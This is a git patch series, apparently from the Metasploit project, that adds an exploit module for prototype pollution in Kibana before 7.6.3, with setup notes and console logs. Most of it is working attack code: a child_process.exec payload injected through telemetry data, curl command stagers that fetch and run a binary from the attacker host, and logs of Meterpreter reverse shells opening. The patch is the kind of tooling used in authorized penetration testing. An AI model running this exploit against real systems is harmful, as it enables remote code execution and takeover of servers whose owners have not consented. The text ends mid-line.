From 88eb44be642fbb74b323063477a057af21519c03 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 2 Oct 2023 16:53:20 -0400 Subject: [PATCH 1/5] kibana telemetry rce --- .../kibana_upgrade_assistant_telemetry_rce.md | 138 +++++++ .../kibana_upgrade_assistant_telemetry_rce.rb | 358 ++++++++++++++++++ 2 files changed, 496 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md create mode 100644 modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md new file mode 100644 index 000000000000..12c1b2db04f8 --- /dev/null +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -0,0 +1,138 @@ +## Vulnerable Application + +Kibana before version 7.6.3 suffers from a prototype pollution bug within the +Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're +able to execute arbitrary code. +Code execution is possible through two different ways. Either by sending data +directly to Elastic, or using Kibana to submit the same queries. Either method +enters the polluted prototype for Kibana to read. + +Kibana will either need to be restarted, or collection happens (unknown time) for +the payload to execute. Once it does, cleanup must delete the .kibana_1 index +for Kibana to restart successfully. Once a callback does occur, cleanup will +happen allowing Kibana to be successfully restarted on next attempt. + +### Install + +A docker version of Kibana and Elastic are required. Both can be run together in a working mode via: + +``` +docker run --name es01 -e "discovery.type=single-node" -d -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 +docker run --name kib01 --link es01:elasticsearch -d -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 +``` + +To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01` + +To wipe the boxes: `docker kill kib01; docker kill es01; docker container rm es01; docker container rm kib01` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce` +1. Do: `set rhost [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell as the kibana user. + +## Options + +## Scenarios + +### Kibana 7.6.2 on Docker (Elastic Target) + +In this scenario, the cleanup process within Kibana kicked automatically, so no reboot of the host/service was required. + +``` +[*] Processing kibana_telem.rb for ERB directives. +resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +resource (kibana_telem.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (kibana_telem.rb)> set rport 9200 +rport => 9200 +resource (kibana_telem.rb)> set verbose true +verbose => true +resource (kibana_telem.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Creating index +[*] Index already exists +[*] Sending index map +[*] Sending telemetry data with payload +[*] Using URL: http://1.1.1.1:8080/1vtNc3Hi +[*] Generated command stager: ["curl -so /tmp/LAbvDplC http://1.1.1.1:8080/1vtNc3Hi;chmod +x /tmp/LAbvDplC;/tmp/LAbvDplC;rm -f /tmp/LAbvDplC"] +[*] Command Stager progress - 100.00% done (114/114 bytes) +[*] Waiting 1800 seconds for shell (kibana restart/cleanup) +[*] Client 172.17.0.3 (curl/7.29.0) requested /1vtNc3Hi +[*] Sending payload to 172.17.0.3 (curl/7.29.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:44668) at 2023-10-02 16:46:35 -0400 +[*] Removing telemetry data to prevent Kibana locking on restart + +meterpreter > getuid +Server username: kibana +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Kibana 7.6.2 on Docker (Kibana Target) + +``` +[*] Processing kibana_telem.rb for ERB directives. +resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +resource (kibana_telem.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (kibana_telem.rb)> set rport 9200 +rport => 9200 +resource (kibana_telem.rb)> set verbose true +verbose => true +resource (kibana_telem.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1 +target => 1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601 +rport => 5601 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > check +[*] 127.0.0.1:5601 - The target appears to be vulnerable. Exploitable Version Detected: 7.6.2 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Creating index +[*] Index already exists +[*] Sending index map +[*] Sending telemetry data with payload +[*] Using URL: http://1.1.1.1:8080/PbT2tbJKQyU +[*] Generated command stager: ["curl -so /tmp/AcwIGAZC http://1.1.1.1:8080/PbT2tbJKQyU;chmod +x /tmp/AcwIGAZC;/tmp/AcwIGAZC;rm -f /tmp/AcwIGAZC"] +[*] Command Stager progress - 100.00% done (117/117 bytes) +[*] Waiting 1800 seconds for shell (kibana restart/cleanup) +``` + +After several minutes, the host was rebooted instead of waiting for the cleanup process to happen. Docker host reboot was done +with the following command: `docker kill kib01; docker start kib01` + +``` +[*] Client 172.17.0.3 (curl/7.29.0) requested /PbT2tbJKQyU +[*] Sending payload to 172.17.0.3 (curl/7.29.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:53100) at 2023-10-02 16:51:34 -0400 +[-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1 + +meterpreter > getuid +Server username: kibana +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb new file mode 100644 index 000000000000..ffb9727424ec --- /dev/null +++ b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb @@ -0,0 +1,358 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking # causes service to not respond until cleanup and reboot + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + # decided not to use autocheck since it doesn't work for both targets + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution', + 'Description' => %q{ + Kibana before version 7.6.3 suffers from a prototype pollution bug within the + Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're + able to execute arbitrary code. + Code execution is possible through two different ways. Either by sending data + directly to Elastic, or using Kibana to submit the same queries. Either method + enters the polluted prototype for Kibana to read. + + Kibana will either need to be restarted, or collection happens (unknown time) for + the payload to execute. Once it does, cleanup must delete the .kibana_1 index + for Kibana to restart successfully. Once a callback does occur, cleanup will + happen allowing Kibana to be successfully restarted on next attempt. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis + ], + 'References' => [ + [ 'URL', 'https://hackerone.com/reports/852613'], + ], + 'Platform' => ['linux'], + 'Privileged' => false, + 'Arch' => ARCH_X64, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'WfsDelay' => 1800 # 30min + }, + 'Targets' => [ + [ 'ELASTIC', { 'CmdStagerFlavor' => [ 'curl' ] } ], # target kibana through a direct elastic connection + [ 'KIBANA', { 'CmdStagerFlavor' => [ 'curl' ] } ] # target kibana through the dev console to implant elastic data + ], + 'DisclosureDate' => '2020-04-17', + 'DefaultTarget' => 0, + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(9200), # default to elastic port, kibana is 5601 + OptString.new('USERNAME', [ false, 'Elastic User to login with', '']), + OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/']) + ] + ) + end + + # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session + # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case. + def kibana_cleanup + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'ctype' => 'application/json', + 'vars_get' => { + 'path' => '.kibana_1', # URI for the elastic request + 'method' => 'DELETE' # method for the elastic query + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_cleanup + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana*'), + 'method' => 'DELETE' + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def execute_command(cmd, _opts = {}) + if target == targets[0] # elastic + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => telemetry_data.to_json.sub('PAYLOADHERE', cmd) + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + + res = send_request_cgi(request) + else + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'ctype' => 'application/json', + 'vars_get' => { + 'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + }, + 'data' => telemetry_data.to_json.sub('PAYLOADHERE', cmd) + ) + end + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201 + end + + def telemetry_data + { + 'upgrade-assistant-telemetry' => { + 'ui_open.overview' => 1, + 'ui_open.cluster' => 1, + 'ui_open.indices' => 1, + 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('PAYLOADHERE')" + }, + 'type' => 'upgrade-assistant-telemetry', + 'updated_at' => '2020-04-17T20:47:40.800Z' + } + end + + def kibana_create_index + # if the index already exists, this will fail which is fine, we just need it to exist. + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'path' => '.kibana_1', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 400 + vprint_status('Index already exists') + return + end + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_create_index + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1'), + 'method' => 'PUT' + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 400 + vprint_status('Index already exists') + return + end + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def kibana_send_mapping + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'path' => '.kibana_1/_mappings', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + }, + 'data' => mapping_data.to_json + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_send_mapping + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => mapping_data.to_json + + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def mapping_data + { + 'properties' => { + 'upgrade-assistant-telemetry' => { + 'properties' => { + 'constructor' => { + 'properties' => { + 'prototype' => { + 'properties' => { + 'sourceURL' => { + 'type' => 'text', + 'fields' => { + 'keyword' => { + 'type' => 'keyword', + 'ignore_above' => 256 + } + } + } + } + } + } + }, + 'features' => { + 'properties' => { + 'deprecation_logging' => { + 'properties' => { + 'enabled' => { + 'type' => 'boolean', + 'null_value' => true + } + } + } + } + }, + 'ui_open' => { + 'properties' => { + 'cluster' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'indices' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'overview' => { + 'type' => 'long', + 'null_value' => 0 + } + } + }, + 'ui_reindex' => { + 'properties' => { + 'close' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'open' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'start' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'stop' => { + 'type' => 'long', + 'null_value' => 0 + } + } + } + } + } + } + } + end + + def check + if target == targets[0] # elastic + return CheckCode::Unknown('Unable to determine Kibana version from Elastic database') + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # this pulls a big JSON blob that we need as it has the version + unless %r{} =~ res.body + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + version_json = CGI.unescapeHTML(Regexp.last_match(1)) + + begin + json_body = JSON.parse(version_json) + rescue JSON::ParserError + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? + + @version = json_body['version'] + + if Rex::Version.new(@version) < Rex::Version.new('7.6.3') + return CheckCode::Appears("Exploitable Version Detected: #{@version}") + end + + CheckCode::Safe("Unexploitable Version Detected: #{@version}") + end + + def exploit + @clean = true + if target == targets[0] # elastic + print_status('Creating index') + elastic_create_index + print_status('Sending index map') + elastic_send_mapping + else + # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2 + @xsrf = 'kibana' + print_status('Creating index') + kibana_create_index + print_status('Sending index map') + kibana_send_mapping + end + print_status('Sending telemetry data with payload') + execute_cmdstager + print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)") + end + + def cleanup + return unless @clean + + if target == targets[1] # kibana + print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1') + # kibana_cleanup + return + end + print_status('Removing telemetry data to prevent Kibana locking on restart') + elastic_cleanup + end +end From 5e0538a23921270744d97dc2c60c55641dbe22b8 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 5 Oct 2023 13:12:33 -0400 Subject: [PATCH 2/5] review comments round 1 --- .../kibana_upgrade_assistant_telemetry_rce.md | 4 +-- .../kibana_upgrade_assistant_telemetry_rce.rb | 31 +++++++++++++------ 2 files changed, 23 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md index 12c1b2db04f8..d4e00291b717 100644 --- a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -17,8 +17,8 @@ happen allowing Kibana to be successfully restarted on next attempt. A docker version of Kibana and Elastic are required. Both can be run together in a working mode via: ``` -docker run --name es01 -e "discovery.type=single-node" -d -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 -docker run --name kib01 --link es01:elasticsearch -d -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 +docker run -it --rm --name es01 -e "discovery.type=single-node" -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 +docker run -it --rm --name kib01 --link es01:elasticsearch -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 ``` To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01` diff --git a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb index ffb9727424ec..783468293527 100644 --- a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb +++ b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb @@ -66,6 +66,12 @@ def initialize(info = {}) ) end + # https://stackoverflow.com/a/4899857 + def time_rand(from = Time.local(2020, 6, 28), to = Time.now) + Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z') + # outputs 2010-06-28 06:44:27 0200 format, we need 2020-04-17T20:47:40.800Z + end + # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case. def kibana_cleanup @@ -90,7 +96,7 @@ def elastic_cleanup 'uri' => normalize_uri(target_uri.path, '.kibana*'), 'method' => 'DELETE' } - request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? @@ -98,17 +104,18 @@ def elastic_cleanup end def execute_command(cmd, _opts = {}) - if target == targets[0] # elastic + case target.name + when 'ELASTIC' request = { 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'), 'method' => 'PUT', 'ctype' => 'application/json', 'data' => telemetry_data.to_json.sub('PAYLOADHERE', cmd) } - request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? res = send_request_cgi(request) - else + when 'KIBANA' res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), 'method' => 'POST', @@ -136,7 +143,7 @@ def telemetry_data 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('PAYLOADHERE')" }, 'type' => 'upgrade-assistant-telemetry', - 'updated_at' => '2020-04-17T20:47:40.800Z' + 'updated_at' => time_rand } end @@ -167,7 +174,7 @@ def elastic_create_index 'uri' => normalize_uri(target_uri.path, '.kibana_1'), 'method' => 'PUT' } - request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? @@ -204,7 +211,7 @@ def elastic_send_mapping 'data' => mapping_data.to_json } - request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if !datastore['USERNAME'].blank? || !datastore['PASSWORD'].blank? + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? @@ -326,12 +333,16 @@ def check def exploit @clean = true - if target == targets[0] # elastic + fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank? + case target.name + when 'ELASTIC' + print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200 print_status('Creating index') elastic_create_index print_status('Sending index map') elastic_send_mapping - else + when 'KIBANA' + print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601 # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2 @xsrf = 'kibana' print_status('Creating index') @@ -347,7 +358,7 @@ def exploit def cleanup return unless @clean - if target == targets[1] # kibana + if target.name == 'KIBANA' print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1') # kibana_cleanup return From a2a9becc73850a4c11a5722379ad80f4780d2e45 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 6 Oct 2023 07:40:17 -0400 Subject: [PATCH 3/5] convert cmd_stager to fetch payloads --- .../kibana_upgrade_assistant_telemetry_rce.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb index 783468293527..34c346b6e3d7 100644 --- a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb +++ b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb @@ -6,7 +6,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # causes service to not respond until cleanup and reboot include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager # decided not to use autocheck since it doesn't work for both targets def initialize(info = {}) @@ -35,16 +34,18 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'https://hackerone.com/reports/852613'], ], - 'Platform' => ['linux'], 'Privileged' => false, - 'Arch' => ARCH_X64, + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'linux' ], + 'Type' => :nix_cmd, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + # 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'WfsDelay' => 1800 # 30min }, 'Targets' => [ - [ 'ELASTIC', { 'CmdStagerFlavor' => [ 'curl' ] } ], # target kibana through a direct elastic connection - [ 'KIBANA', { 'CmdStagerFlavor' => [ 'curl' ] } ] # target kibana through the dev console to implant elastic data + [ 'ELASTIC', {}], # target kibana through a direct elastic connection + [ 'KIBANA', {}] # target kibana through the dev console to implant elastic data ], 'DisclosureDate' => '2020-04-17', 'DefaultTarget' => 0, @@ -69,7 +70,7 @@ def initialize(info = {}) # https://stackoverflow.com/a/4899857 def time_rand(from = Time.local(2020, 6, 28), to = Time.now) Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z') - # outputs 2010-06-28 06:44:27 0200 format, we need 2020-04-17T20:47:40.800Z + # outputs 2020-04-17T20:47:40.800Z format end # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session @@ -103,14 +104,14 @@ def elastic_cleanup fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 end - def execute_command(cmd, _opts = {}) + def execute_command case target.name when 'ELASTIC' request = { 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'), 'method' => 'PUT', 'ctype' => 'application/json', - 'data' => telemetry_data.to_json.sub('PAYLOADHERE', cmd) + 'data' => telemetry_data.to_json } request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? @@ -127,7 +128,7 @@ def execute_command(cmd, _opts = {}) 'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request 'method' => 'PUT' # method for the elastic query }, - 'data' => telemetry_data.to_json.sub('PAYLOADHERE', cmd) + 'data' => telemetry_data.to_json ) end fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? @@ -140,7 +141,7 @@ def telemetry_data 'ui_open.overview' => 1, 'ui_open.cluster' => 1, 'ui_open.indices' => 1, - 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('PAYLOADHERE')" + 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')" }, 'type' => 'upgrade-assistant-telemetry', 'updated_at' => time_rand @@ -344,6 +345,7 @@ def exploit when 'KIBANA' print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601 # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2 + # https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3 @xsrf = 'kibana' print_status('Creating index') kibana_create_index @@ -351,7 +353,7 @@ def exploit kibana_send_mapping end print_status('Sending telemetry data with payload') - execute_cmdstager + execute_command print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)") end From 931a67d290829dbe355f4fda410502ffa6b3246f Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 6 Oct 2023 09:55:10 -0400 Subject: [PATCH 4/5] kibana telemetry rce rewritten to use fetch payloads --- .../kibana_upgrade_assistant_telemetry_rce.md | 63 +++++++++++++------ .../kibana_upgrade_assistant_telemetry_rce.rb | 3 +- 2 files changed, 45 insertions(+), 21 deletions(-) diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md index d4e00291b717..5f7ed8aba987 100644 --- a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -25,6 +25,28 @@ To restart Kibana (easier during exploitation) issue the following command: `doc To wipe the boxes: `docker kill kib01; docker kill es01; docker container rm es01; docker container rm kib01` +### Error Logs + +The following error logs will appear when the payload executes. The logs seem to repeat about every half second. + +``` + error [11:59:41.805] [warning][process] UnhandledPromiseRejectionWarning: TypeError: this._tasks[taskName] is not a function + at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49) + at ontimeout (timers.js:436:11) + at tryOnTimeout (timers.js:300:5) + at listOnTimeout (timers.js:263:5) + at Timer.processTimers (timers.js:223:10) + at emitWarning (internal/process/promises.js:97:15) + at emitPromiseRejectionWarnings (internal/process/promises.js:143:7) + at process._tickCallback (internal/process/next_tick.js:69:34) + error [11:59:41.807] [warning][process] TypeError: this._tasks[taskName] is not a function + at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49) + at ontimeout (timers.js:436:11) + at tryOnTimeout (timers.js:300:5) + at listOnTimeout (timers.js:263:5) + at Timer.processTimers (timers.js:223:10) +``` + ## Verification Steps 1. Install the application @@ -46,7 +68,7 @@ In this scenario, the cleanup process within Kibana kicked automatically, so no ``` [*] Processing kibana_telem.rb for ERB directives. resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce -[*] Using configured payload linux/x64/meterpreter/reverse_tcp +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp resource (kibana_telem.rb)> set rhosts 127.0.0.1 rhosts => 127.0.0.1 resource (kibana_telem.rb)> set rport 9200 @@ -55,29 +77,33 @@ resource (kibana_telem.rb)> set verbose true verbose => true resource (kibana_telem.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit - +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > +msf6 exploit(linux/http/kibana_upgrade_assi +stant_telemetry_rce) > rexploit +[*] Reloading module... + +[*] Command to run on remote host: curl -so ./YFjALImGlTI http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./YFjALImGlTI; ./YFjALImGlTI & +[*] Fetch Handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource 